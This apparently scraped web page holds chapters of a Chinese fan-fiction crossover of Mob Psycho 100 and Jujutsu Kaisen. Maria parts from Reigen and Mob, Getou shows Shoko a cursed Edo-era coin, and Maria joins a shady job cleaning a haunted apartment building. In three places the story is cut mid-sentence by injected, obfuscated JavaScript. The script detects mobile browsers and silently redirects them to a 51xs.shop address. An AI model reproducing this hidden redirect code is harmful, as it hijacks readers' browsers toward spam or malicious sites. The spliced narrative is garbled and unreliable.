灵幻叹了口气,这么说着的时候还用拇指指向了徒弟影山茂夫:“这个家伙还是个老实的小孩,就这样放任你被骗的话绝对会给茂夫造成心理阴影的。” 是以。 虽然旁边坐着的影山茂夫还维持着他一贯的简笔画扑克脸说着‘师匠请不要用我当理由好’这种拆台的话。 玛利亚还是老实领情了。 但她还是举起了手:“可是水晶灵摆占卜确实有用,真的不可以搭话吗?” 要不是那个她还找不过来呢。 此刻,一条明显由劣质金属串起来的项链从玛利亚的中指上吊下,最下面则是一个搞不清楚是水晶还是玻璃的白色透明晶体,这时候正顺着她放下的力道开始了钟摆似的规律晃动。 灵幻哼了一声:“都说了只是巧合……” 他话还没说完呢,就跟现世报似的——那‘水晶’晃着晃着就像是受到了什么干扰,摇摇晃晃地悬着指向了灵幻,绷直了链子不动了。 一时间,室内的三人都没有说话。 灵幻隔了好一会儿,才如同纸片被手指拖动一样,哒哒哒平移到了玛利亚身边,给了她后肩狠狠一拳。 [盛盐飞拳!!] ——此乃灵幻新隆的必杀技是也,技术要点为握着盐巴用力出拳。 (PS:没有除灵效果,但能缓解轻微的肩部酸痛) “……那是因为你是超能力者!这东西一看就只是普通玻璃而已啊!!” “诶……我是吗?” “怎·么·看都是吧。”虽然不知道原理。 而玛利亚注意力松懈地那一刻,之前飘着的吊坠直接脱力落下,不仅如此,那价值十万円的‘宝石’直接摔到了桌上,啪地一声被摔出了一个缺角。 ‘……十万円!!’ 玛利亚的眼神盯着碎掉的玻璃,从有记忆的那一刻起,第一次感觉到了心痛。 然后她捂住了脑袋:“说起来我的脑袋好像有点痛……”虽然被揍的是后肩,“灵幻先生,医药费的话十万、”她还是伸-出了手。 才担心了两秒就迅速反应了过来,青筋挤上了灵幻的额头:“好的不学坏得学那么快干嘛。”想要骗人你还早了十年,“意图感太明确了!” “嗯。” “我没有要你学的意思。” 不过就算被磕掉了一个角它好像还能飘起来,所以玛利亚短暂体验的伤心很快就消失了:“不过它本来的作用已经起到了,应该没关系吧。”她看向灵幻和影山。 反倒是那边的师徒俩打了个寒颤。 * 而正事说罢,又被灌输了一堆俗世生活的常识。 “绝对不可以相信除了我们之外自称能力者的家伙,明白了吗?特别是那种自称某个组织、某个学校、某个教会之类的那种!” 旁边的茂夫也连连点头,虽然是一张扑克脸,但简笔画一样的黑点眼珠子也透出了担心:“嗯,只凭借着力量就觉得自己不同……是很空虚的。” ——虽然也不知道玛利亚听进去了多少。 “等我买了电话就联络你们。”玛利亚比着OK,拿了一张灵幻的名片,“这样情报的获取也方便了。”又背起已经空下来的背包。 虽然灵幻和茂夫都对她的生活能力有些担心,玛利亚还是以自己有打工,拒绝了他们帮忙找住处的事情。 想要四处看看是一方面。 另一方面是因为她已经找到了临时的食住点。 很看重金钱,所以她总感觉不能接受没有代价的帮助。 ……等价交换的感觉很好。 而这是她从高野山下来之后学会的生活方式,要长久的生活好像不行,但是只是单纯活下来的话,方法有很多。 “虽然什么都不记得,不过,我好像很有工作这方面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“因为她(那位社长)对那个很感兴趣,所以我多少听到了一点——” ——据说。 “被诅咒了。” 这是个发生了多人连续离奇死亡的凶宅,而且现在也因为太过于凶险,早被警察封-锁起来了,里面现在的情况谁也不知道。 简单来说。 这个清扫工作…… 就是凶宅清扫的意思。 师徒两人面面相觑,灵幻第一时间回头:“喂、玛利亚——”他刚想叫住玛利亚。 但某个从事可疑打工的当事人,已经在两人还研究招工广告的时候就离开。就算灵幻和茂夫站在阳台上向楼下张望,也已经再找不到玛利亚远离的身影了。 * 而此刻。 东京咒术高专。 三下五除二就解决了事态,但车子已经坏掉了。 所以,夏油杰是坐在虹龙上回的高专。 因为辅助监督意外受伤,家入硝子不得不也在外出逛街的时候被强制召回高专帮忙治疗。 家入硝子打了个呵欠,在走廊上看到了那个把辅助监督送来的长发同级生——夏油杰。 这位黑发细眼的高二男生看到硝子,像是狐狸一样抬手跟她打了个招呼:“这个时候也拜托你出勤,辛苦了,硝子。” “诶……休假也要看到人-渣啊。” “硝子,这样说话我真的会生气噢。” “辅助监督不是在‘帐’的外面等着才对吗?”两三下就治好了辅助监督的伤势,硝子一边擦手一边离开了医务室,“诶——在了不起的刚升格一级术师的同行下竟然还能发生这种事情~” 作为和夏油杰的损友同级生的硝子露出了嘲笑,她歪着脑袋,一边往窗台走,一边给自己点起了一根香烟。 而那个黑发的狐狸眼男高只是无奈叹了口气,认命似的扇了扇自己面前的烟雾,他站在同级生的旁边,从口袋里摸出了一枚钱币:“是因为这个。” 硝子先是不怎么感兴趣,只觉得那是个普通的50円硬币而已。 ……不是50円吗? 但仔细瞟着的同时,硝子突然发现了这硬币下方影影绰绰出现的古钱币的影子。 “这什么?咒具?”硝子有些好奇,正想伸头去看。 而那钱币又被夏油杰收了回去,全握在了骨节分明的手心里。 “又不是要抢你的东西,真小气。” “毕竟很值钱嘛。”男高漫不经心地开着玩笑,另一手已经竖起食指,“是‘小判’。” ……江户时代(*1600年左右)的钱币。 而至于它为什么会出现在这里就是另外一个问题了。 * 当然。 这一切都和玛利亚没什么关系——毕竟鬼屋将迎来它的神明(开玩笑的)。 ……玛利亚即将发现她的舒适区。 4. 灰色兼职4 那边厢被玛利亚甩下。 [灵幻咨询室]里,师徒俩对着空荡荡的街道发愣。 而黄发的伪·超能力者,灵幻则是挠了挠发茬看向了徒弟:“担心的话要去看看吗?茂夫(mob)。” “嗯。”锅盖头初中生点了点头,但他如同死鱼眼的眼睛很快又垂了下来,“不过玛利亚小姐应该没有问题的。” “是吗,我之前就想问了,你有看出什么吗?” “嗯,虽然不知道为什么,形状有些奇怪……不一定是灵能力者,但肯定有某种能力吧。”茂夫回忆着自己观察玛利亚的时候看到的状态,“玛利亚小姐身上有一股很强的能量。” 试图描述自己感受到的那种透着平和和欢快的能量。 这么说着。 茂夫在空气中比了个取景框的手势:“这样的。” “说点我能听懂的。”玛利亚是个直觉系就算了,这种路线完全不适合影山茂夫。 不过,虽然师徒俩本来想去玛利亚打工的地方看看的。 但像是好运突然降临。 有着高薪报酬的工作在当天下午突然就找上了门,灵幻新隆想也不想就钻进了钱眼里。 “十万円?没问题——超级能力者灵幻新隆绝对会将凭依您儿子身上的恶灵一个不留的驱逐出去!”穿着西装的超·能力者敲了敲自己的心口,想也不想就招呼起了徒弟,“茂夫(mob),走了!” 他跟个商店门口的气球人一样前后摆动着肢体,嘴角几乎都要咧到了耳根。 而影山茂夫则是在跟着师傅离开店门的时候才突然反应过来。 ……说起来。 “量子速读……”如果壶是真的的话,玛利亚小姐真的学会那种奇怪技术了吗? 而这题的答案,恐怕除了玛利亚之外,谁也不知道了。 * 此刻的咒术高专里。 家入硝子看着夏油杰手里握着的那枚造型古朴的金制钱币,有些惊讶地睁大了眼睛。 “江户时代?” ……那得有几百年历史了吧。 “似乎是山崎辅助监督的爱好,虽然不知道他是哪里搞到的。”钱币被夏油杰握在了手心里,“这个很值钱噢,本身就是金制品,而且还有历史价值……放在现在的话,大概也有50到80万円(2-4w元)左右的价值。” “那不是挺好的嘛,不管是作为收藏品,还是拿去卖掉。” 听到这话,夏油杰先是语意不明地嗯了一声,歪着脑袋将钱币拿在手里反复打量,垂下的刘海轻轻搭在了半阖的眼皮上。 然后他的面容带上了轻微的苦恼:“这上面有一只咒灵。” “嗯?” “是特级。” “……?”非常惜命的反转术式使用者第一时间就和狐狸眼高专生拉开的距离。 夏油杰露出了扳回一局的笑容:“安心,已经被我收服了,它似乎是被什么压制了活性,应对起来并不麻烦。” “诶——”对这种现场故事并不感兴趣,硝子答得慢吞吞的,“白捡了一个咒灵啊。” 那是可喜可贺? 反倒是夏油杰轻微皱起了眉头:“就是这家伙攻击的山崎监督。” 在咒灵被收服之前。 这曾经是一枚看上去普普通通的50円硬币。 似乎也正是因为那位辅助监督咒力干扰,才让这个咒灵突然恢复了活性袭击了他。 夏油杰这么说着,将这枚金色的古钱币握在两指间,将它暴露在阳光下——说到这里,狐狸眼男高已经想起当时压制住这个咒灵的事情。 ……多少有些过于轻易了。 除了‘醒来’像是被人类吓到的那一下之外,这咒灵简直像是保持着某种理性一样,只是焦急地原地打转。 但咒灵就是咒灵。 “应该是有诅咒师在故意散播这种带着凭依的物品。”夏油杰眯起了眼睛,一贯翘起的嘴角微微放平,明显是打算追究一番的语气。 将这种东西流通出去的家伙一定是穷凶极恶的诅咒师……为了保护由弱者构成的一般人社会,怎么说也得把这个家伙找到才行。 但是如果山崎辅助监督没醒来的话,夏油自己也很难判断这东西的来处。 知道他要说术师的使命就是保护这个社会的弱者那套正论。 硝子不想听地塞住了自己的耳朵:“你去跟五条那个混-蛋说不就好了吗。”然后她才想起正事,歪着脑袋示意医务室里面,“不过伤虽然治好了,还得睡个一两天。” “绝对会跟他吵起来的吧,悟那种个性不听劝啊……”对硝子给的答案并不挑三拣四。 夏油杰只摆出一副‘我是更懂事的孩子’的表情一手抱胸,一手托着自己的侧脸‘抱怨’了起来。 硝子毫不留情,吐了个烟圈:“你们两个人-渣完全是半斤八两。” 而既得到了想要的回答,又恶心到了同级生,得到了乐趣,还消解了压力,夏油杰面上直接露出了笑容。 蹿得很快,已经长到一米八几的高中生歪着脑袋将钱币重新塞进了口袋里。 “不客气。” “我没有在夸你。” 不过这么说完,硝子倒是起了一些好奇:“不过,夏油抓着我应该不只是为了抱怨这点事情吧?而且你和五条不总是这样嘛。” 这么说着,这个叼着烟的女同学举起双手,比出了个双引号。 “……什么事情都不想告诉我。” 她大有这东西很棘手的话,自己绝对不要干涉的意思,这话说得‘无情’,却有点像是在对两个男性同级生以保护、强度差异之名搞小团体的抱怨。 而夏油杰已经笑眯眯地从口袋里摸出了一个咒灵球。 说是不看,但硝子还是懒洋洋地抬起了眼睛——却看到这个‘宝O梦球’球和夏油杰平时搓出来的,那种漆黑中带着点黄、蓝色光的‘成品’不同。 ——像是混入了杂物,又像是带上了奇怪的雕花。 黑色球体表面此刻涌动着一些奇怪的暖白、金色杂色,像是呼吸灯条一样的细丝。 硝子眨了眨眼半天没说话,香烟烟头因为惊讶而掉下来了一截。 她的意见:“……好噁(KIMO)。” “喂。”夏油杰第一时间就反抗了,“就算我脾气好一点,也是会生气的噢。” 硝子对他‘脾气好’的自我认知挑了挑眉。 * 不过闲话说罢,夏油杰很快露出了正色:“这就是那个小判上附着的咒灵,但是这个样子太奇怪了……”他拖长了声线抱怨,“实——在不想吸收这么奇怪的东西啊。” 这位高大的当事人将咒灵球握在手里翻来覆去地打量,表情多少有些无奈。 而硝子的意见倒也给得痛快。 女同学毫无同情心地指向了夏油杰:“你应该是最没资格说这种话的家伙吧,小智。” 都吸收了多少奇怪咒灵了。 虽然硝子在去年入学的时候就已经接受夏油杰术式的设定,但每次看到他手搓‘精灵球’的时候,都会觉得像是看到人在地上乱捡东西吃的样子。 医科预备役对这种不讲卫生的行为持200%的抗拒态度。 “建议呢?” 建议非常敷衍。 “那就不吸收。” “是特级诶,难得那么好收服的……”遇到稀有闪光宝O梦的男同学陷入了选择困难,整个人都变成了简笔画的狐狸模样,发出了拖长的诶声。 “那就吸收。” 但夏油杰又有些担心:“但是让我自己感知的话,好像又和平时的咒灵球有些不太一样……” “你让五条帮忙看看不就行了。” “悟的好奇心很旺盛,绝对会追根究底的吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048858|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但是硝子就不会……你是很会置身事外的类型。” “总感觉不是夸奖。” “是夸奖——我认为作为医生,这种心态也是有意义的。”这么说着,夏油杰的眼睛已经像是狐狸一样眯起,很难说这表态里有没有讨好女同学的心态。 而虽然没有理由这么问。 硝子还是在偶尔的越界之后起了一点好奇,稍微启动了大脑:“你是在找理由吗?夏油。” 因为不想让现在不在场的五条悟……仔细观察他的咒灵球之类的。 夏油杰没有回答,确切来说,应该是绕开了话题:“毕竟悟又不在,不是被家里叫回去了吗?说是有什么急事。” 而被颠三倒四地折磨,被当成烦恼详谈机硝子的耐心值终于也见了底,她叼着香烟,最后诶了一声……看天看地,最后还是指向同级生,给出了自己的意见。 “这样吧,你现在就把它吸收下去。” “嗯。”然后呢? “死掉之前会把你救回来的。”虽然她现在的治疗还没有那么熟练,“在生死关头,我搞不好会有大突破也说不定……”硝子话语里同情心为0。 没有作死打算,高大的黑发DK直接就拒绝了。 “不是很想让人看着吸收呢,感觉怪怪的……”他跟个狐狸似的摆了摆手,只是重新把球揣了回去,“不过我会尽量挑硝子在学校的时候昏迷的。” 夏油杰柔和地开着玩笑。 毕竟要是吞下咒灵球的时候露出奇怪的表情就不好了。 但可以确定的是,首先要把那个诅咒师抓住。 黑发男高的表情冷了下来。 * 不过,这个恶毒的捕捉计划能否成行现在还要打个问号。 因为此刻玛利亚正被人拎着衣领提在半空中,被抢先一步制裁了。 一个光头大汉额头青筋暴起:“迟到硬挤进来还笑眯眯的家伙说什么‘事前付款’啊——!?” “因为我没有钱,想稍微预支一点……”而秉持着在哪里摔倒就在哪里倒下的玛利亚像是个晴天娃娃一样被挂在了壮汉手上,“只是想问问老板而已,没什么关系吧。” “啧,看着你这种毫无紧张感的混-蛋就烦,真不想跟你这种家伙在‘灰色兼职’里合作,我可没有不对女人动手的‘美德’。” “这附近的路很难找……” “够了,我不想再听你说什么50円从口袋里掉到了地上跳四小天鹅滚着掉进了下水道,所以你就顺着水渠追那枚硬币,结果它掉进了名为‘地下泄洪口’的‘绝望深渊’这种乱七八糟的迟到借口……” “可是如果不是跟着钱的话,我今天都找不到地方……” 说到一半,发现自己的鬼话被人一字不漏地听了进去。 玛利亚瞬间就开心了起来,于是脑袋旁边冒起小花的金发财迷决定要当更有‘神经’的那个人。 “虽然不知道哪里惹你不高兴了。”她维持着被拎着的晴天娃娃的姿势稍稍一鞠躬,“既然你说是我不对,那就是我的不好吧,对不起。” 那光头大汉额头上的青筋鼓得……看上去下一秒就会让他因为高血压而去世了。 “你这家伙到底帮得上什么忙啊?” 玛利亚像是个小鸡崽一样被光头肌肉男扣住了脑袋。 “喂、为了你自己好,劝你不要淌这趟浑水。” 而被他拎着,玛利亚却下意识看向了那工作场地……据说是某处凶宅的大楼。 和玛利亚想象中污糟的情况完全相反,这是一栋三层高的漂亮公寓,看上去根本不需要‘清扫’。 灰色的墙像是刚被高压水枪冲刷过,从建筑外面的走廊就能看到所有门窗似乎都刚被换过。 风吹起了黑洞洞的窗口内,新换上的窗帘。 像是有人对她招了招手。 玛利亚下意识就眨了眨眼。 5. 灰色兼职5 玛利亚望着楼里黑洞洞的窗口发愣。 但这样好像更加惹恼了那个光头壮汉,玛利亚牌晴天娃娃直接被甩了起来。 她除了有些头晕之外一切良好。 但旁边的‘同事’已经开始当起了和事佬:“好了好了。”一个穿着休闲服的女生伸-出双手当起了和事佬,“虽然开场不太愉快,毕竟是要一起在接下来的几天住在一起的协力者……” 另一个戴着眼镜的中年人则是伸-出了双手:“而且毕竟是灰色兼职,要求预支一部分经费也是合理的诉求……这样吧,我去联络一下雇主,看看能不能提前打一部分预付金过来。” 那光头肌肉男皱起了眉头。 而玛利亚则是举起了手:“我现在还没有银行账户,可以申请用现金结算吗?” 而且。 因为时间已经靠近了傍晚。 “三餐包括今晚的吗?我们什么时候开饭?有肉吗?”她今天只吃了两个100円(5元)的饭团,现在眼前已经要出现幽灵了。 (不排除真的有幽灵的可能性) 简直是火上浇油。 本来快要平静下来的光头火山直接炸了:“——明明就是你这个家伙不好好说话的错!”扣住玛利亚脑袋的光头肌肉男脸都涨成了红色。 这家伙说得铿锵有力,而至于他说的真假嘛…… 大人,请看VCR。 * 半小时前。 下午5点。 因为对调味市的地形不够熟悉,是以等玛利亚赶到招工广告指示的地点的时候,目标地点已经聚集了四、五个人了。 戴眼镜的中年人俨然一副代理人的姿态,而除此之外,就是一个神父打扮、一个穿着休闲服的女生、光头肌肉男、和一个穿着连身工作服,和玛利亚看上去年龄相仿的年轻人。 她迟到了一点点。 所以眼镜男又倒回到了开头——他对迟到的玛利亚点了点头,确认人数已经不会再有变化,才清了清嗓子。 “咳咳,既然已经到了时间,那我就开始这次的工作说明了……和之前说的一样,这次工作的雇主不会亲自到场,为了你们好,我也不会告知全部的工作情报。” 他举起手里的翻盖电话。 ‘……不需要应征吗?’ 玛利亚没搞清楚情况,是以保持了安静。 而眼镜男只是继续:“但请安心……取而代之,我将会是这次工作的领队,希望你们听我的指挥,按照我的指示行、” 而他话还没说完。 一个光头大汉就双手抱胸,不爽地嗤了一声:“你谁啊?” 他抬起下巴。 “‘灰色’可没有上下级关系——发布那个招募的家伙呢?让他出来跟我们说话,虽然这行的规矩是不多做打听,但随便来个人自称是雇主的代表这事儿可没听说过。” “还是说他是把我们当成可消耗的物品,才不亲自出面?” 这么大声吆喝着,光头肌肉男指向了自己:“我可是第三十代天台宗的训诫僧,专门处理难以直接超度的恶灵的灵能力者,将北海道雪巫收服、又获得了灵能协会的认证,计算机四级,通过了恐山试炼,英语实用会话6级,达成了悟道准入许可的超觉者,认知之外的达者……” 一连串让人根本跟不上,像是《权O的游戏》女角色头衔一样的称谓被五-大三粗的光头男吐-出。 ——你算什么东西? 而有人鼓动。 旁边的几位卧龙凤雏直接呼应了起来。 “我已经有十几次‘灰色’相关的经验了,直觉很好……”休闲服女生举起了手。 一个举起矿泉水瓶,神父打扮的家伙咳嗽了两声:“……我是O廷认证的驱魔人,呃、我还有重型农业机械的驾驶执照……” 还有一个年轻人当下就不干了:“都不说明情况的话,谁要淌这摊子浑水啊……”他说着就撞开站在一边的玛利亚的肩膀,头也不回离开了。 剩下的三个人大有拧成一股绳让雇主亲自出面认真说明情况的意思,所以,落单的玛利亚反而变得异常显眼起来。 几对目光直接落到了她的身上,简直就像是明晃晃地问——‘你呢?你是哪边的?’ 所以玛利亚也举起了手:“……我是玛利亚。” 那个光头男皱起了眉头:“……谁?” “玛利亚。” “玛什么……?” “玛利亚。”她认真重复。 * 那个光头肌肉男第一时间就生气了——而架就是这么吵起来的。 尽管玛利亚完全没感觉自己有什么不对,让她回答她也都好好回答了。 而这一通打岔,之前被诘问的眼镜男倒是得救了,等气氛重新安定下来的时候,要再逼问他好像也失去了时机。 于是剩下的四人中的三个——光头、神父和休闲装巫女这才先退了一步。 光头男双手抱胸:“像这个邪恶大金毛说的那样……钱先打过来,既然雇主不出现的话。”他一手以拇指指向了玛利亚。 被称为邪恶大金毛的玛利亚只是眨了眨眼,脑袋上冒出问号。 “而且,请把工作的详细先告诉我们。”而休闲服姐姐已经摆正了态度。 点了点头,眼镜男先是歪了歪脑袋,示意在场的玛利亚、光头、休闲服和神父跟上自己的脚步进入了公寓大门,打开带锁的收信室,拐进公寓走廊。 所有人都打起了精神,玛利亚表现得有些轻飘飘,但很快就被光头肌肉男提着脚不着地地押送进了大部队。 一字型的公寓结构非常简单,是以大家很快就搞懂了地形状况。 楼梯和电梯门对着阳台式的一字走廊,整栋楼共4层,每层5间公寓,还有一个带有洗衣房和锅炉房的地下室。 “我想,你们看到广告的时候就应该有心理准备了吧?”眼镜将所有人带到了走廊尽头的电梯处,一边等待着电梯一边低声询问,“这是一栋恶名昭彰的凶宅。” ——而这次兼职的雇主正是将这栋大楼买下来,进行翻修的主家。 首先。 和所有人的预料不同。 电梯到达一层的声音叮咚响起。 “这栋楼已经被专业人士清理过一次了,我们是第二批。”他一脚踏进电梯,打算从最高层开始向所有人说明。 也正是因为这里‘已经被清理过了’,所以这栋楼才得以经过二次装修翻新,成了现在这副漂亮的模样—— 墙壁换上了干净的灰色喷砂纹理,更不要说门窗和室内基础的地板,就连电梯都是维修过的。 眼镜在所有人进电梯之后才补上介绍:“之前的‘事件’里,有人打算乘电梯离开结果不小心踏空了,摔进了电梯井,不过请安心,全都清理干净了。” 正如他所说,这栋前‘凶宅’已经被专业人士清理过一次,并且,那次清理已经被确认为大获成功,‘大部分’可疑的气息都被清理掉了。 站在电梯里,玛利亚有些好奇:“你是怎么知道的?” “商业机密。”眼镜不打算多说。 听到这里,电梯已经叮地一声到达了最高层,四层。 玛利亚感觉身边的几个人都稍稍松了一口气。 “所以?是还有什么需要清理的东西吗?” “需要我们做的只有一些收尾的清理工作而已,这个简单。不过其实更主要的工作是我们需要把这栋楼‘清洗’一遍,并检测它的状态。” 眼镜男这么说着,已经拿出了三个装着大堆钥匙的轮盘。 ——这是一个需要耗时7天的工作,以每天晚上的日落之后、到日出之前的12个小时计算工时。 而工作内容除了一些需要‘清理’的事项,这是不睡觉时段的工作。 ——这点眼镜说一会儿就带他们去地下室看看。 而另外一方面,在场包括眼镜在内的五个打工仔还需要在这7天内,将这栋楼的每一层的每一个房间都住一晚。 没搞懂这什么意思,玛利亚脑袋上冒出了问号。 而休闲装姐姐已经明白了:“啊……是为了应付地产中介的知情条例是吧?” 这话说的是日本房屋中介的告知义务,不论是买卖还是租赁,中介都有义务告知所经手房屋是否为凶宅。 ……虽然法律是这么规定的没错。 但是按照业界的惯例,基本上只要告知到‘上一任住户是怎么回事’之后,就可以闭口不谈了。 “被我们都住一次的话,所有房屋的‘上一任’住户就是我们了,打的这个算盘啊……” “是这个‘清扫’啊。”玛利亚慢吞吞地啊了一声。 而眼镜将顶层五间的公寓门钥匙分发给几个人,摊开一只手。 “毕竟,如果这里还剩下什么‘会对住户造成损害’的东西的话……高价请几个炮灰可比事后造成赔偿方便一些。” 探知危险性、清理‘残余’、并洗干净这个凶宅的‘身份’。 就是他们这次的工作。 “这也是‘灰色兼职’的意义吧。”跟在后面的神父一声感叹。 而那位经验丰富的休闲服姐姐也点头:“毕竟雇佣我们几个人的薪水加在一起都不够一个一级咒术师出勤的。” “啊,听说那个得联系区役所然后由他们下委托吧。” “毕竟在职的术师真的很少嘛,还不如赌赌运气找超能力或者是灵能力者……” “哼,那种假货太多了!” …… 几个经验者眼看就你一言我一语地聊了起来,其中穿插的‘一级二级三-级术师’‘都市传说和咒灵’‘对齐颗粒度’‘诅咒师’‘灵能力者骗子’‘业界生态’‘垂直矩阵’她一个字也听不懂。 所以。 玛利亚举起手:“……什么是灰色兼职?”她的表情非常茫然。 不就是普通的兼职吗?为什么还要像是奇怪的彩虹战队一样神神秘秘的说着‘灰色’‘白色’之类的……? 这下电梯里的几人都看向了她。 那个穿着休闲服的姐姐呃了一声:“……所以,你只是单纯地看招工广告就来了?” ——那可是薪酬诡异得高、没有联络信息、一看就超级可疑,诈骗概率为200%的招聘广告噢? “……因为我很缺钱。”玛利亚答得老实。 这下谁都说不出话来了。 * “等等、我们在玛利亚酱眼里到底是什么……?奇怪的中二病吗?”神父擦了擦自己额头上的汗,“这么说来的话,玛利亚酱就是灰色兼职的新人了吧。” 反倒是之前对她生气的那个光头肌肉男叹了口气:“喂、一会儿你记得跟紧我,不让你做的事情别做,少东张西望的!” 而神父则是轻轻叹气:“看着还是高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048859|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中生呢……成年了吗?是自己出来打工……” “也是,没到极点的话,谁会来做这种兼职呢……” 完全不懂他们脑袋里脑补了什么,玛利亚被穿着休闲服的姐姐摸着脑袋,满眼都是问号。 但眼镜看着电梯下降的楼层数字:“到这一步已经不可能让你回去了。” 不过看到玛利亚的茫然——几个人还是简短解释了一下。 * 顾名思义。 白色,普通的工作。 黑色,属于犯罪者、诅咒师、恶灵之类的社会黑暗面。 但灰色则是介于两者之间—— 肌肉男面露不耐烦,手指戳上了玛利亚的太阳穴,直把她的脑袋都顶得歪在了一边肩膀上。 他嗤了一声:“你这个邪恶大金毛要是敢开口说什么赤橙黄绿青蓝紫之类的事情我绝对会给你两拳。” 其实之前想过,但歪着脑袋的金发笨蛋闻言给自己嘴巴拉上了拉链。 一种直觉。 ……她感觉编造这些奇怪的称谓应该是这个光头男的爱好。 于是那位训诫僧,专门处理难以应对的特殊事件的灵能者,将北海道雪巫收服、又获得了灵能协会的认证,计算机四级…… ……以下略的光头男咳嗽了一声。 既不是普通朝九晚五的工作,但又如论如何都不算是属于黑色那边的领域。 “给的钱可疑得多,但没有天上掉馅饼的好事——正常人一看就会敬而远之,只有没得选的穷鬼和确实有真材实料的人愿意尝试的工作。”光头男语气带着自满。 “……因为英语会话六级?”玛利亚刚沉吟两秒就被扯开了两颊狠狠制裁。 电梯里剩下几个人都笑了出来。 总之。 这种高薪背后可能是普通的诈骗,也可能是某种犯罪的阴谋,或是因为背后的奇怪内情而导致的高额收益——更可能是充满杀意的圈套。 当然,这类工作也有可能属于更危险的领域——都市传说、奇怪的传闻……出不起雇佣正经的,像是咒术师或者是超能力者这些专业人士来解决,却已经造成困扰的异常现象。 在正常和异常之间属于灰色的领域。 “都市怪谈要传出来也要有实验老鼠去试毒吧?你就没想过,那些专业人士的前期调查是谁做的吗?” 要说是志愿炮灰。 或者是去雷区挖金子的人都好。 “遇上的话,我们偶尔也得做‘窗’的工作。” ……窗?那是什么。 问题太多,但玛利亚没有去问——反正只要干下去总会知道的。 “事情总要有人去做,但只要你衡量一下收益和风险,乐意冒险……又能及时抽身的话。” 眼镜男摊开双手。 “——这就是完美的工作。” 神父竖起手指:“不过一般来说会有这方面的工作介绍所或者是经理人……玛利亚酱这样看着招募广告乱撞太危险了。” 而电梯已经到达了底层——只见约四分之三个篮球场大小的空旷地下室此刻灯火通明。 顶棚上的吊灯且不说,场内还专门假设了好几个用于工地夜间照明的大灯,将室内照得几乎不存在阴影死角。 而眼镜三步并作两步走进了这片光里,指着地下室墙壁上的东西:“这就是工作的‘清理’部分。” 玛利亚看见,被光亮照亮的墙壁上……该说那是霉菌还是污渍? 被刷得白净的墙面上这会儿印满了黑色的、姿态各异的人形污渍。 看上去大约十几个人的黑影被印在墙上面,没有五官,更像是犯罪现场那种笼统的人形—— 玛利亚之外的三个人开始迟疑。 而她有些好奇地想摸,被身边的休闲服姐姐拦住了。 眼镜推了眼镜:“虽然专业人士的除灵结束了,但不知道是周围人对这里的认知,或是什么别的情况,等察觉到的时候地下室已经开始长霉了。” “用长霉来说也太轻描淡写了……” “可以清理掉的。”眼镜偏了偏脑袋,示意角落里的清扫用具。 而玛利亚扫视着面前的霉菌。 有黑影只是站着,也有莫名奇妙的爬行姿势、或是自闭的坐卧姿态。 角落里一团黑漆漆的污渍的姿势看不太清楚,她眯起眼睛,但因为实在分辨不出来,直接放弃了。 她扭过头,重新看回拿着清洁用具的眼镜男,分神听他说了几句。 然后她将头扭转回墙面。 ……发现黑影出现了变化。 她听到了微弱的摩挲声。 非常细微。 大概也就几厘米的差距吧。 像是从蜷缩成一团,变成抱住膝盖坐着一样,漆黑的两条胳膊从糊成一团的霉菌团身体里分了出来,变得稍微能够辨认了。 好奇。 毫无恐惧心的家伙歪着脑袋,下意识放空了表情,无声啊了一声。 然后她就被光头男一巴拍到后脑勺,乱糟糟的金色头发直接糊到了脸上:“你这个邪恶大金毛给我集中精神!” 她手里说着就被塞进了消毒喷雾。 然后是扫把。 然后是口罩。 然后被粗暴地套上了清洁工小白帽,看她戴得歪歪斜斜不满,路过的休闲服姐姐又帮玛利亚调整了一下角度。 好了。 6. 凶宅获取1 调味市某处公寓的地下室传来了分外严肃的声音。 是眼镜。 他已经摆好了架势,深吸了一口气。 “好了!我只演示一次——看清楚了。” 此刻,戴着小白帽的玛利亚,连同其他三个灰色兼职的应征者正挤在某栋凶宅的地下室里。 他们正在观摩眼镜演示,如何处理被过度充裕的照明晒在墙上的黑色影子。 * ——那简直就像是过分拥挤的巴士一样。 仔细一数。 在近乎四分之三个大小的墙壁上,满满当当挤着二十几个黑色的影子。 它们如同从墙里渗出的某种霉菌,保持着人类的阴影形态……总让人感觉有些怪怪的。 ……它到底是怎么长成这样的呢?这代表了墙里有什么?还是说只是一个让人毛骨悚然的巧合呢。 之前那个微妙的移动又是怎么回事呢? 错觉? 虽然玛利亚的注意力曾经短暂地停留在稍微移动过一点点的黑影上。 但因为缺乏好奇心和紧迫感,她很快就被眼镜的动静打断,注意力被抽走了。 “顺序和步骤是很重要的——” 这么说着,戴着眼镜的领头唰的一声抽出了一瓶贴着奇怪标签的喷壶,远远就能闻到里面混杂着奇怪药草的冲鼻气味。 除了玛利亚,几个人都提起了精神。 “噢噢噢……感觉到了圣洁的力量。”光头肌肉男表情自信。 而神父则是持有不同看法:“……这是圣水?”无视旁边作为僧侣的光头的抗拒,神父眼里几乎都要露出星星了,“我听说真正的圣水得是由意大利空运、” 但这两种说辞还没完全吐-出就被否认了。 “不,只是75%的乙醇混的氯酸钠的消毒剂而已,里面还混了一些除臭剂。” 